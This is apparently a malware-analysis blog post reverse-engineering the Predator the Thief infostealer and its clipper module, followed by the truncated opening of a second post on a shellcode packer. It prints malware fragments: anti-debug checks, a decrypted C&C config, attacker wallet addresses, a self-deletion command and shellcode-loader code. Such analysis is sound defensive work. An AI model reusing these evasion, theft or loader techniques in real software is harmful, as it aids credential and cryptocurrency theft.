Whenever I reverse a sample, I am mostly interested in how it was developed, even if in the end the techniques employed are generally the same, I am always curious about what was the way to achieve a task, or just simply understand the code philosophy of a piece of code. It is a very nice way to spot different trending and discovering (sometimes) new tricks that you never know it was possible to do. This is one of the main reasons, I love digging mostly into stealers/clippers for their accessibility for being reversed, and enjoying malware analysis as a kind of game (unless some exceptions like Nymaim that is literally hell).

It’s been 1 year and a half now that I start looking into “Predator The Thief”, and this malware has evolved over time in terms of content added and code structure. This impression could be totally different from others in terms of stealing tasks performed, but based on my first in-depth analysis,, the code has changed too much and it was necessary to make another post on it.

This one will focus on some major aspects of the 3.3.2 version, but will not explain everything (because some details have already been mentioned in other papers,  some subjects are known). Also, times to times I will add some extra commentary about malware analysis in general.

Anti-Disassembly

When you open an unpacked binary in IDA or other disassembler software like GHIDRA, there is an amount of code that is not interpreted correctly which leads to rubbish code, the incapacity to construct instructions or showing some graph. Behind this, it’s obvious that an anti-disassembly trick is used.

The technique exploited here is known and used in the wild by other malware, it requires just a few opcodes to process and leads at the end at the creation of a false branch. In this case, it begins with a simple xor instruction that focuses on configuring the zero flag and forcing the JZ jump condition to work no matter what, so, at this stage, it’s understandable that something suspicious is in progress. Then the MOV opcode (0xB8) next to the jump is a 5 bytes instruction and disturbing the disassembler to consider that this instruction is the right one to interpret beside that the correct opcode is inside this one, and in the end, by choosing this wrong path malicious tasks are hidden.

Of course, fixing this issue is simple, and required just a few seconds. For example with IDA, you need to undefine the MOV instruction by pressing the keyboard shortcut “U”, to produce this pattern.

Then skip the 0xB8 opcode, and pushing on “C” at the 0xE8 position, to configure the disassembler to interpret instruction at this point.

Replacing the 0xB8 opcode by 0x90. with a hexadecimal editor, will fix the issue. Opening again the patched PE, you will see that IDA is now able to even show the graph mode.

After patching it, there are still some parts that can’t be correctly parsed by the disassembler, but after reading some of the code locations, some of them are correct, so if you want to create a function, you can select the “loc” section then pushed on “P” to create a sub-function, of course, this action could lead to some irreversible thing if you are not sure about your actions and end to restart again the whole process to remove a the ant-disassembly tricks, so this action must be done only at last resort.

Code Obfuscation

Whenever you are analyzing Predator, you know that you will have to deal with some obfuscation tricks almost everywhere just for slowing down your code analysis. Of course, they are not complicated to assimilate, but as always, simple tricks used at their finest could turn a simple fun afternoon to literally “welcome to Dark Souls”. The concept was already there in the first in-depth analysis of this malware, and the idea remains over and over with further updates on it. The only differences are easy to guess :

• More layers of obfuscation have been added
• Techniques already used are just adjusted.
• More dose of randomness

As a reversing point of view, I am considering this part as one the main thing to recognized this stealer, even if of course, you can add network communication and C&C pattern as other ways for identifying it, inspecting the code is one way to clarify doubts (and I understand that this statement is for sure not working for every malware), but the idea is that nowadays it’s incredibly easy to make mistakes by being dupe by rules or tags on sandboxes, due to similarities based on code-sharing, or just literally creating false flag.

GetModuleAddress

Already there in a previous analysis, recreating the GetProcAddress is a popular trick to hide an API call behind a simple register call. Over the updates, the main idea is still there but the main procedures have been modified, reworked or slightly optimized.

First of all, we recognized easily the PEB retrieved by spotting fs[0x30] behind some extra instructions.

then from it, the loader data section is requested for two things:

• Getting the InLoadOrderModuleList pointer
• Getting the InMemoryOrderModuleList pointer

For those who are unfamiliar by this, basically, the PEB_LDR_DATA is a structure is where is stored all the information related to the loaded modules of the process.

Then, a loop is performing a basic search on every entry of the module list but in “memory order” on the loader data, by retrieving the module name, generating a hash of it and when it’s done, it is compared with a hardcoded obfuscated hash of the kernel32 module and obviously, if it matches, the module base address is saved, if it’s not, the process is repeated again and again.

The XOR kernel32 hashes compared with the one created

Nowadays, using hashes for a function name or module name is something that you can see in many other malware, purposes are multiple and this is one of the ways to hide some actions. An example of this code behavior could be found easily on the internet and as I said above, this one is popular and already used.

GetProcAddress / GetLoadLibrary

Always followed by GetModuleAddress, the code for recreating GetProcAddress is by far the same architecture model than the v2, in term of the concept used. If the function is forwarded, it will basically perform a recursive call of itself by getting the forward address, checking if the library is loaded then call GetProcAddress again with new values.

Xor everything

It’s almost unnecessary to talk about it, but as in-depth analysis, if you have never read the other article before, it’s always worth to say some words on the subject (as a reminder). The XOR encryption is a common cipher that required a rudimentary implementation for being effective :

• Only one operator is used (XOR)
• it’s not consuming resources.
• It could be used as a component of other ciphers

This one is extremely popular in malware and the goal is not really to produce strong encryption because it’s ridiculously easy to break most of the time, they are used for hiding information or keywords that could be triggering alerts, rules…

• Communication between host & server
• Hiding strings
• Or… simply used as an absurd step for obfuscating the code
• etc…

A typical example in Predator could be seeing huge blocks with only two instructions (XOR & MOV), where stacks strings are decrypted X bytes per X bytes by just moving content on a temporary value (stored on EAX), XORed then pushed back to EBP, and the principle is reproduced endlessly again and again. This is rudimentary, In this scenario, it’s just part of the obfuscation process heavily abused by predator, for having an absurd amount of instruction for simple things.

Also for some cases, When a hexadecimal/integer value is required for an API call, it could be possible to spot another pattern of a hardcoded string moved to a register then only one XOR instruction is performed for revealing the correct value, this trivial thing is used for some specific cases like the correct position in the TEB for retrieving the PEB, an RVA of a specific module, …

Finally, the most common one, there is also the classic one used by using a for loop for a one key length XOR key, seen for decrypting modules, functions, and other things…

str = ... # encrypted string

for i, s in enumerate(str):
  s[i] = s[i] ^ s[len(str)-1]

Sub everything

Let’s consider this as a perfect example of “let’s do the same exact thing by just changing one single instruction”, so in the end, a new encryption method is used with no effort for the development. That’s how a SUB instruction is used for doing the substitution cipher. The only difference that I could notice it’s how the key is retrieved.

Besides having something hardcoded directly, a signed 32-bit division is performed, easily noticeable by the use of cdq & idiv instructions, then the dl register (the remainder) is used for the substitution.

Stack Strings

What’s the result in the end?

Merging these obfuscation techniques leads to a nonsense amount of instructions for a basic task, which will obviously burn you some hours of analysis if you don’t take some time for cleaning a bit all that mess with the help of some scripts or plenty other ideas, that could trigger in your mind. It could be nice to see these days some scripts released by the community.

Simple tricks lead to nonsense code

Anti-Debug

There are plenty of techniques abused here that was not in the first analysis, this is not anymore a simple PEB.BeingDebugged or checking if you are running a virtual machine, so let’s dig into them. one per one except CheckRemoteDebugger! This one is enough to understand by itself :’)

NtSetInformationThread

One of the oldest tricks in windows and still doing its work over the years. Basically in a very simple way (because there is a lot thing happening during the process), NtSetInformationThread is called with a value (0x11) obfuscated by a XOR operator. This parameter is a ThreadInformationClass with a specific enum called ThreadHideFromDebugger and when it’s executed, the debugger is not able to catch any debug information. So the supposed pointer to the corresponding thread is, of course, the malware and when you are analyzing it with a debugger, it will result to detach itself.

CloseHandle/NtClose

Inside WinMain, a huge function is called with a lot of consecutive anti-debug tricks, they were almost all indirectly related to some techniques patched by TitanHide (or strongly looks like), the first one performed is a really basic one, but pretty efficient to do the task.

Basically, when CloseHandle is called with an inexistent handle or an invalid one, it will raise an exception and whenever you have a debugger attached to the process, it will not like that at all. To guarantee that it’s not an issue for a normal interaction a simple __try / __except method is used, so if this API call is requested, it will safely lead to the end without any issue.

The invalid handle used here is a static one and it’s L33T code with the value 0xBAADAA55 and makes me bored as much as this face.

That’s not a surprise to see stuff like this from the malware developer. Inside jokes, l33t values, animes and probably other content that I missed are something usual to spot on Predator.

ProcessDebugObjectHandle

When you are debugging a process, Microsoft Windows is creating a “Debug” object and a handle corresponding to it. At this point, when you want to check if this object exists on the process, NtQueryInformationProcess is used with the ProcessInfoClass initialized by  0x1e (that is in fact, ProcessDebugObjectHandle).

In this case, the NTStatus value (returning result by the API call) is an error who as the ID 0xC0000353, aka STATUS_PORT_NOT_SET. This means, “An attempt to remove a process’s DebugPort was made, but a port was not already associated with the process.”. The anti-debug trick is to verify if this error is there, that’s all.

NtGetContextThread

This one is maybe considered as pretty wild if you are not familiar with some hardware breakpoints. Basically, there are some registers that are called “Debug Register” and they are using the DRX nomenclature  (DR0 to DR7). When GetThreadContext is called, the function will retrieve al the context information from a thread.

For those that are not familiar with a context structure, it contains all the register data from the corresponding element. So, with this data in possession, it only needs to check if those DRX registers are initiated with a value not equal to 0.

On the case here, it’s easily spottable to see that 4 registers are checked

if (ctx->Dr0 != 0 || ctx->Dr1 != 0 || ctx->Dr2 != 0 || ctx->Dr3 != 0)

Int 3 breakpoint

int 3 (or Interrupt 3) is a popular opcode to force the debugger to stop at a specific offset. As said in the title, this is a breakpoint but if it’s executed without any debugging environment, the exception handler is able to deal with this behavior and will continue to run without any issue. Unless I missed something, here is the scenario.

By the way,  as another scenario used for this one (the int 3), the number of this specific opcode triggered could be also used as an incremented counter, if the counter is above a specific value, a simplistic condition is sufficient to check if it’s executed into a debugger in that way.

Debug Condition

With all the techniques explained above, in the end, they all lead to a final condition step if of course, the debugger hasn’t crashed. The checking task is pretty easy to understand and it remains to a simple operation: “setting up a value to EAX during the anti-debug function”, if everything is correct this register will be set to zero, if not we could see all the different values that could be possible.

bloc in red is the correct condition over all the anti-debug tests

…And when the Anti-Debug function is done, the register EAX is checked by the test operator, so the ZF flag is determinant for entering into the most important loop that contains the main function of the stealer.

Anti-VM

The Anti VM is presented as an option in Predator and is performed just after the first C&C requests.

Tricks used are pretty olds and basically using Anti-VM Instructions

• SIDT
• SGDT
• STR
• CPUID (Hypervisor Trick)

By curiosity, this option is not by default performed if the C&C is not reachable.

Paranoid & Organized Predator

When entering into the “big main function”, the stealer is doing “again” extra validations if you have a valid payload (and not a modded one), you are running it correctly and being sure again that you are not analyzing it.

This kind of paranoid checking step is a result of the multiple cases of cracked builders developed and released in the wild (mostly or exclusively at a time coming from XakFor.Net). Pretty wild and fun to see when Anti-Piracy protocols are also seen in the malware scape.

Then the malware is doing a classic organized setup to perform all the requested actions and could be represented in that way.

Of course as usual and already a bit explained in the first paper, the C&C domain is retrieved in a table of function pointers before the execution of the WinMain function (where the payload is starting to do tasks).

You can see easily all the functions that will be called based on the starting location (__xc_z) and the ending location (__xc_z).

Then you can spot easily the XOR strings that hide the C&C domain like the usual old predator malware.

Data Encryption & Encoding

Besides using XOR almost absolutely everywhere, this info stealer is using a mix of RC4 encryption and base64 encoding whenever it is receiving data from the C&C. Without using specialized tools or paid versions of IDA (or whatever other software), it could be a bit challenging to recognize it (when you are a junior analyst), due to some modification of some part of the code.

Base64

For the Base64 functions, it’s extremely easy to spot them, with the symbol values on the register before and after calls. The only thing to notice with them, it’s that they are using a typical signature… A whole bloc of XOR stack strings, I believed that this trick is designed to hide an eventual Base64 alphabet from some Yara rules.

By the way, the rest of the code remains identical to standard base64 algorithms.

RC4

For RC4, things could be a little bit messy if you are not familiar at all with encryption algorithm on a disassembler/debugger, for some cases it could be hell, for some case not. Here, it’s, in fact, this amount of code for performing the process.

Blocs are representing the Generation of the array S, then performing the Key-Scheduling Algorithm (KSA) by using a specific secret key that is, in fact, the C&C domain! (if there is no domain, but an IP hardcoded, this IP is the secret key), then the last one is the Pseudo-random generation algorithm (PRGA).

For more info, some resources about this algorithm below:

• Stack Overflow example
• RC4 Algorithm (Wikipedia)

Mutex & Hardware ID

The Hardware ID (HWID) and mutex are related, and the generation is quite funky,  I would say, even if most of the people will consider this as something not important to investigate, I love small details in malware, even if their role is maybe meaningless, but for me, every detail counts no matter what (even the stupidest one).

Here the hardware ID generation is split into 3 main parts. I had a lot of fun to understand how this one was created.

First, it will grab all the available logical drives on the compromised machine, and for each of them, the serial number is saved into a temporary variable. Then, whenever a new drive is found, the hexadecimal value is added to it. so basically if the two drives have the serial number “44C5-F04D” and “1130-DDFF”, so ESI will receive 0x44C5F04D then will add 0x1130DFF.

When it’s done, this value is put into a while loop that will divide the value on ESI by 0xA and saved the remainder into another temporary variable, the loop condition breaks when ESI is below 1. Then the results of this operation are saved, duplicated and added to itself the last 4 bytes (i.e 1122334455 will be 112233445522334455).

If this is not sufficient, the value is put into another loop for performing this operation.

for i, s in enumerate(str):
  if i & 1:
    a += chr(s) + 0x40
  else:
    a += chr(s)

It results in the creation of an alphanumeric string that will be the archive filename used during the POST request to the C&C.

the generated hardware ID based on the serial number devices

But wait! there is more… This value is in part of the creation of the mutex name… with a simple base64 operation on it and some bit operand operation for cutting part of the base64 encoding string for having finally the mutex name!

Anti-CIS

A classic thing in malware, this feature is used for avoiding infecting machines coming from the Commonwealth of Independent States (CIS) by using a simple API call GetUserDefaultLangID.

The value returned is the language identifier of the region format setting for the user and checked by a lot of specific language identifier, of courses in every situation, all the values that are tested, are encrypted.

Files, files where are you?

When I reversed for the first time this stealer, files and malicious archive were stored on the disk then deleted. But right now, this is not the case anymore. Predator is managing all the stolen data into memory for avoiding as much as possible any extra traces during the execution.

Predator is nowadays creating in memory a lot of allocated pages and temporary files that will be used for interactions with real files that exist on the disk. Most of the time it’s basically getting handles, size and doing some operation for opening, grabbing content and saving them to a place in memory. This explanation is summarized in a “very” simplify way because there are a lot of cases and scenarios to manage this. 

Another point to notice is that the archive (using ZIP compression), is also created in memory by selecting folder/files.

The generated archive in memory

It doesn’t mean that the whole architecture for the files is different, it’s the same format as before.

an example of archive intercepted during the C&C Communication

Stealing

After explaining this many times about how this stuff, the fundamental idea is boringly the same for every stealer:

• Check
• Analyzing (optional)
• Parsing (optional)
• Copy
• Profit
• Repeat

What could be different behind that, is how they are obfuscating the files or values to check… and guess what… every malware has their specialties (whenever they are not decided to copy the same piece of code on Github or some whatever generic .NET stealer) and in the end, there is no black magic, just simple (or complex) enigma to solve. As a malware analyst, when you are starting into analyzing stealers, you want literally to understand everything, because everything is new, and with the time, you realized the routine performed to fetch the data and how stupid it is working well (as reminder, it might be not always that easy for some highly specific stuff).

In the end, you just want to know the targeted software, and only dig into those you haven’t seen before, but every time the thing is the same:

• Checking dumbly a path
• Checking a register key to have the correct path of a software
• Checking a shortcut path based on an icon
• etc…

Beside that Predator the Thief is stealing a lot of different things:

1. Grabbing content from Browsers (Cookies, History, Credentials)
2. Harvesting/Fetching Credit Cards
3. Stealing sensible information & files from Crypto-Wallets
4. Credentials from FTP Software
5. Data coming from Instant communication software
6. Data coming from Messenger software
7. 2FA Authenticator software
8. Fetching Gaming accounts
9. Credentials coming from VPN software
10. Grabbing specific files (also dynamically)
11. Harvesting all the information from the computer (Specs, Software)
12. Stealing Clipboard (if during the execution of it, there is some content)
13. Making a picture of yourself (if your webcam is connected)
14. Making screenshot of your desktop
15. It could also include a Clipper (as a modular feature).
16. And… due to the module manager, other tasks that I still don’t have mentioned there (that also I don’t know who they are).

Let’s explain just some of them that I found worth to dig into.

Browsers

Since my last analysis, things changed for the browser part and it’s now divided into three major parts.

• Internet Explorer is analyzed in a specific function developed due that the data is contained into a “Vault”, so it requires a specific Windows API to read it.
• Microsoft Edge is also split into another part of the stealing process due that this one is using unique files and needs some tasks for the parsing.
• Then, the other browsers are fetched by using a homemade static grabber

Grabber n°1 (The generic one)

It’s pretty fun to see that the stealing process is using at least one single function for catching a lot of things. This generic grabber is pretty “cleaned” based on what I saw before even if there is no magic at all, it’s sufficient to make enough damages by using a recursive loop at a specific place that will search all the required files & folders.

By comparing older versions of predator, when it was attempting to steal content from browsers and some wallets, it was checking step by step specific repositories or registry keys then processing into some loops and tasks for fetching the credentials. Nowadays, this step has been removed (for the browser part) and being part of this raw grabber that will parse everything starting to %USERS% repository.

As usual, all the variables that contain required files are obfuscated and encrypted by a simple XOR algorithm and in the end, this is the “static” list that the info stealer will be focused

Grabber n°2 (The dynamic one)

There is a second grabber in Predator The Thief, and this not only used when there is available config loaded in memory based on the first request done to the C&C. In fact, it’s also used as part of the process of searching & copying critical files coming from wallets software, communication software, and others…

The “main function” of this dynamic grabber only required three arguments:

• The path where you want to search files
• the requested file or mask
• A path where the found files will be put in the final archive sent to the C&C

When the grabber is configured for a recursive search, it’s simply adding at the end of the path the value “..” and checking if the next file is a folder to enter again into the same function again and again.

In the end, in the fundamentals, this is almost the same pattern as the first grabber with the only difference that in this case, there are no parsing/analyzing files in an in-depth way. It’s simply this follow-up

1. Find a matched file based on the requested search
2. creating an entry on the stolen archive folder
3. setting a handle/pointer from the grabbed file
4. Save the whole content to memory
5. Repeat

Of course, there is a lot of particular cases that are to take in consideration here, but the main idea is like this.

What Predator is stealing in the end?

If we removed the dynamic grabber, this is the current list (for 3.3.2) about what kind of software that is impacted by this stealer, for sure, it’s hard to know precisely on the browser all the one that is impacted due to the generic grabber, but in the end, the most important one is listed here.

VPN

• NordVPN

Communication

• Jabber
• Discord
• Skype

FTP

• WinSCP
• WinFTP
• FileZilla

Mails

• Outlook

2FA Software

• Authy (Inspired by Vidar)

Games

• Steam
• Battle.net (Inspired by Kpot)
• Osu

Wallets

• Electrum
• MultiBit
• Armory
• Ethereum
• Bytecoin
• Bitcoin
• Jaxx
• Atomic
• Exodus

Browser

• Mozilla Firefox (also Gecko browsers using same files)
• Chrome (also Chromium browsers using same files)
• Internet Explorer
• Edge
• Unmentioned browsers using the same files detected by the grabber.

Also beside stealing other actions are performed like:

• Performing a webcam picture capture
• Performing a desktop screenshot

Loader

There is currently 4 kind of loader implemented into this info stealer

1. RunPE
2. CreateProcess
3. ShellExecuteA
4. LoadPE
5. LoadLibrary

For all the cases, I have explained below (on another part of this analysis) what are the options of each of the techniques performed. There is no magic, there is nothing to explain more about this feature these days. There are enough articles and tutorials that are talking about this. The only thing to notice is that Predator is designed to load the payload in different ways, just by a simple process creation or abusing some process injections (i recommend on this part, to read the work from endgame).

Module Manager

Something really interesting about this stealer these days, it that it developed a feature for being able to add the additional tasks as part of a module/plugin package. Maybe the name of this thing is wrongly named (i will probably be fixed soon about this statement). But now it’s definitely sure that we can consider this malware as a modular one.

When decrypting the config from check.get, you can understand fast that a module will be launched, by looking at the last entry…

[PREDATOR_CONFIG]#[GRABBER]#[NETWORK_INFO]#[LOADER]#[example]

This will be the name of the module that will be requested to the C&C. (this is also the easiest way to spot a new module).

• example.get
• example.post

The first request is giving you the config of the module (on my case it was like this), it’s saved but NOT decrypted (looks like it will be dealt by the module on this part). The other request is focused on downloading the payload, decrypting it and saving it to the disk in a random folder in %PROGRAMDATA% (also the filename is generated also randomly), when it’s done, it’s simply executed by ShellExecuteA.

Also, another thing to notice, you know that it’s designed to launch multiple modules/plugins.

Clipper (Optional module)

The clipper is one example of the Module that could be loaded by the module manager. As far as I saw, I only see this one (maybe they are other things, maybe not, I don’t have the visibility for that).

Disclaimer: Before people will maybe mistaken, the clipper is proper to Predator the Thief and this is NOT something coming from another actor (if it’s the case, the loader part would be used).

Clipper WinMain function

This malware module is developed in C++, and like Predator itself, you recognized pretty well the obfuscation proper to it (Stack strings, XOR, SUB, Code spaghetti, GetProcAddress recreated…). Well, everything that you love for slowing down again your analysis.

As detailed already a little above, the module is designed to grab the config from the main program, decrypting it and starting to do the process routine indefinitely:

1. Open Clipboard
2. Checking content based on the config loaded
3. If something matches put the malicious wallet
4. Sleep
5. Repeat

The clipper config is rudimentary using “|” as a delimiter. Mask/Regex on the left, malicious wallet on the right.

1*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
3*:1Eh8gHDVCS8xuKQNhCtZKiE1dVuRQiQ58H|
0x*:0x7996ad65556859C0F795Fe590018b08699092B9C|
q*:qztrpt42h78ks7h6jlgtqtvhp3q6utm7sqrsupgwv0|
G*:GaJvoTcC4Bw3kitxHWU4nrdDK3izXCTmFQ|
X*:XruZmSaEYPX2mH48nGkPSGTzFiPfKXDLWn|
L*:LdPvBrWvimse3WuVNg6pjH15GgBUtSUaWy|
t*:t1dLgBbvV6sXNCMUSS5JeLjF4XhhbJYSDAe|
4*:44tLjmXrQNrWJ5NBsEj2R77ZBEgDa3fEe9GLpSf2FRmhexPvfYDUAB7EXX1Hdb3aMQ9FLqdJ56yaAhiXoRsceGJCRS3Jxkn|
D*:DUMKwVVAaMcbtdWipMkXoGfRistK1cC26C|
A*:AaUgfMh5iVkGKLVpMUZW8tGuyjZQNViwDt|

There is no communication with the C&C when the clipper is switching wallet, it’s an offline one.

Self Removal

When the parameters are set to 1 in the Predator config got by check.get, the malware is performing a really simple task to erase itself from the machine when all the tasks are done.

By looking at the bottom of the main big function where all the task is performed, you can see two main blocs that could be skipped. these two are huge stack strings that will generate two things.

• the API request “ShellExecuteA”
• The command “ping 127.0.0.1 & del %PATH%”

When all is prepared the thing is simply executed behind the classic register call. By the way, doing a ping request is one of the dozen way to do a sleep call and waiting for a little before performing the deletion.

This option is not performed by default when the malware is not able to get data from the C&C.

Telemetry files

There is a bunch of files that are proper to this stealer, which are generated during the whole infection process. Each of them has a specific meaning.

Information.txt

1. Signature of the stealer
2. Stealing statistics
3. Computer specs
4. Number of users in the machine
5. List of logical drives
6. Current usage resources
7. Clipboard content
8. Network info
9. Compile-time of the payload

Also, this generated file is literally “hell” when you want to dig into it by the amount of obfuscated code.

I can quote these following important telemetry files:

Software.txt

• Windows Build Version
• Generated User-Agent
• List of software installed in the machine (checking for x32 and x64 architecture folders)

Actions.txt

• List of actions & telemetry performed by the stealer itself during the stealing process

Projects.txt

• List of SLN filename found during the grabber research (the static one)

CookeList.txt

• List of cookies content fetched/parsed

Network

User-Agent “Builder”

Sometimes features are fun to dig in when I heard about that predator is now generating dynamic user-agent, I was thinking about some things but in fact, it’s way simpler than I thought.

The User-Agent is generated in 5 steps

1. Decrypting a static string that contains the first part of the User-Agent
2. Using GetTickCount and grabbing the last bytes of it for generating a fake builder version of Chrome
3. Decrypting another static string that contains the end of the User-Agent
4. Concat Everything
5. Profit

Tihs User-Agent is shown into the software.txt logfile.

C&C Requests

There is currently 4 kind of request seen in Predator 3.3.2 (it’s always a POST request)

The first step – Get the config & extra Infos

For the first request, the response from the server is always in a specific form :

• String obviously base64 encoded
• Encrypted using RC4 encryption by using the domain name as the key

When decrypted, the config is pretty easy to guess and also a bit complex (due to the number of options & parameters that the threat actor is able to do).

[0;1;0;1;1;0;1;1;0;512;]#[[%userprofile%\Desktop|%userprofile%\Downloads|%userprofile%\Documents;*.xls,*.xlsx,*.doc,*.txt;128;;0]]#[Trakai;Republic of Lithuania;54.6378;24.9343;85.206.166.82;Europe/Vilnius;21001]#[]#[Clipper]

It’s easily understandable that the config is split by the “#” and each data and could be summarized like this

1. The stealer config
2. The grabber config
3. The network config
4. The loader config
5. The dynamic modular config (i.e Clipper)

I have represented each of them into an array with the meaning of each of the parameters (when it was possible).

Predator config

Grabber config

[]#[GRABBER]#[]#[]#[]

Network info

[]#[]#[NETWORK]#[]#[]

Loader config

[]#[]#[]#[LOADER]#[]

Format

[[URL;3;2;;;;1;amazon.com;0;0;1;0;0;5]]

Meaning

1. Loader URL
2. Loader Type
3. Architecture
4. Targeted Countries (“,” as a delimiter)
5. Blacklisted Countries (“,” as a delimiter)
6. Arguments on startup
7. Injected process OR Where it’s saved and executed
8. Pushing loader if the specific domain(s) is(are) seen in the stolen data
9. Pushing loader if wallets are presents
10. Persistence
11. Executing in admin mode
12. Random file generated
13. Repeating execution
14. ???

Loader type (argument 2)

Architecture (argument 3)

If it’s RunPE (argument 7)

If it’s CreateProcess / ShellExecuteA / LoadLibrary (argument 7)

The second step – Sending stolen data

Format

/api/gate.get?p1=X&p2=X&p3=X&p4=X&p5=X&p6=X&p7=X&p8=X&p9=X&p10=X

Goal

1. Sending stolen data
2. Also victim telemetry

Meaning

This is an example of crafted request performed by Predator the thief

Third step – Modular tasks (optional)

/api/Clipper.get

Give the dynamic clipper config

/api/Clipper.post

Give the predator clipper payload

Server side

The C&C is nowadays way different than the beginning, it has been reworked with some fancy designed and being able to do some stuff:

1. Modulable C&C
2. Classic fancy index with statistics
3. Possibility to configure your panel itself
4. Dynamic grabber configuration
5. Telegram notifications
6. Backups
7. Tags for specific domains

Index

The predator panel changed a lot between the v2 and v3. This is currently a fancy theme one, and you can easily spot the whole statistics at first glance. the thing to notice is that the panel is fully in Russian (and I don’t know at that time if there is an English one).

Menu on the left is divide like this (but I’m not really sure about the correct translation)

Меню (Menu)
Статистика (Stats)

• Логов (Logs)
• По странам (Country stats)
• Лоадера (Loader Stats)

Логи (Logs)

• Обычная

Модули (Modules)

• Загрузить модуль (Download/Upload Module)

Настройки (Settings)

• Настройки сайта (Site settings)
• Телеграм бот (Telegram Bot)
• Конфиг (Config)

Граббер (Grabber)
Лоадер (Loader)
Domain Detect
Backup
Поиск (Search)
Конвертация (Converter => Netscape Json converter)

Statistics / Landscape

Predator Config

In term of configuring predator, the choices are pretty wild:

• The actor is able to tweak its panel, by modifying some details, like the title and detail that made me laugh is you can choose a dark theme.

• There is also another form, the payload config is configured by just ticking options. When done, this will update the request coming from check.get

• As usual, there is also a telegram bot feature

Creating Tags for domains seen

Small details which were also mentioned in Vidar, but if the actor wants specific attention for bots that have data coming from specific domains, it will create a tag that will help him to filter easily which of them is probably worth to dig into.

Loader config

The loader configuration is by far really interesting in my point of view and even it has been explained totally for its functionalities, I considered it pretty complete and user-friendly for the Threat Actor that is using it.

IoCs

Hashes for this analysis

p_pckd.exe – 21ebdc3a58f3d346247b2893d41c80126edabb060759af846273f9c9d0c92a9a
p_upkd.exe – 6e27a2b223ef076d952aaa7c69725c831997898bebcd2d99654f4a1aa3358619
p_clipper.exe – 01ef26b464faf08081fceeeb2cdff7a66ffdbd31072fe47b4eb43c219da287e8

C&C

• cadvexmail19mn.world

Other predator hashes

• 9110e59b6c7ced21e194d37bb4fc14b2
• 51e1924ac4c3f87553e9e9c712348ac8
• fe6125adb3cc69aa8c97ab31a0e7f5f8
• 02484e00e248da80c897e2261e65d275
• a86f18fa2d67415ac2d576e1cd5ccad8
• 3861a092245655330f0f1ffec75aca67
• ed3893c96decc3aa798be93192413d28

Conclusion

Infostealer is not considered as harmful as recent highly mediatize ransomware attacks, but they are enough effective to perform severe damage and they should not be underrated, furthermore, with the use of cryptocurrencies that are more and more common, or something totally normal nowadays, the lack of security hygiene on this subject is awfully insane. that I am not surprised at all to see so much money stolen, so they will be still really active, it’s always interesting to keep an eye on this malware family (and also on clippers), whenever there is a new wallet software or trading cryptocurrency software on the list, you know easily what are the possible trends (if you have a lack of knowledge in that area).

Nowadays, it’s easy to see fresh activities in the wild for this info stealer, it could be dropped by important malware campaigns where notorious malware like ISFB Gozi is also used. It’s unnecessary (on my side) to speculate about what will be next move with Predator, I have clearly no idea and not interested in that kind of stuff. The thing is the malware scene nowadays is evolving really fast, threat actor teams are moving/switching easily and it could take only hours for new updates and rework of malware by just modifying a piece of code with something already developed on some GitHub repository, or copying code from another malware. Also, the price of the malware has been adjusted, or the support communication is moved to something else.

Due to this,  I am pretty sure at that time, this current in-depth analysis could be already outdated by some modifications. it’s always a risk to take and on my side, I am only interested in the malware itself, the main ideas/facts of the major version are explained and it’s plenty sufficient. There is, of course, some topics that I haven’t talk like nowadays predator is now being to work as a classic executable file or a DLL, but it was developed some times ago and this subject is now a bit popular. Also, another point that I didn’t find any explanation, is that seeing some decrypting process for strings that leads to some encryption algorithm related to Tor.

This in-depth analysis is also focused on showing that even simple tricks are an efficient way to slow down analysis and it is a good exercise to practice your skills if you want to improve yourself into malware analysis. Also, reverse engineering is not as hard as people could think when the fundamental concepts are assimilated, It’s just time, practice and motivation.

On my side, I am, as usual, typically irregular into releasing stuff due to some stuff (again…). By the way, updating projects are still one of my main focus, I still have some things that I would love to finish which are not necessarily into malware analysis, it’s cool to change topics sometimes.

#HappyHunting

It’s been a while that I haven’t release some stuff here and indeed, it’s mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn’t wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.

So let’s start 2021 with something really simple… Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).

Typical icons that could be seen with this packer

This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:

• Obfuscation
• Cryptography
• Decompression
• Multi-stage
• Shellcode
• Remote Thread Hijacking

Disclamer: This post will be different from what i’m doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.

For this analysis, this sample will be used:

B7D90C9D14D124A163F5B3476160E1CF

Architecture

Speaking of itself, the packer is split into 3 main stages:

• A PE that will allocate, decrypt and execute the shellcode n°1
• Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
• Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick

An overview of this packer

Stage 1 – The PE

The first stage is misleading the analyst to think that a decent amount of instructions are performed, but… after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
  int i; 
  SIZE_T uBytes; 
  HMODULE hModule; 

  // Will be used for Virtual Protect call
  hKernel32 = LoadLibraryA("kernel32.dll");

  // Bullshit stuff for getting correct uBytes value
  uBytes = CONST_VALUE

  _LocalAlloc();

  for ( i = 0; j < uBytes; ++i ) {
    (_FillAlloc)();
  }

  _VirtualProtect();

  // Decrypt function vary between date & samples
  _Decrypt();     
  _ExecShellcode();

  return 0;
}

It’s important to notice this packer is changing its first stage regularly, but it doesn’t mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.

Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).

int (*LocalAlloc())(void)
{
  int (*pBuff)(void); // eax

  pBuff = LocalAlloc(0, uBytes);
  Shellcode = pBuff;
  return pBuff;
}

For avoiding giving directly the position of the shellcode, It’s using a simple addition trick for filling the buffer step by step.

int __usercall FillAlloc(int i)
{
  int result; // eax

  // All bullshit code removed
  result = dword_834B70 + 0x7E996;
  *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
  return result;
}

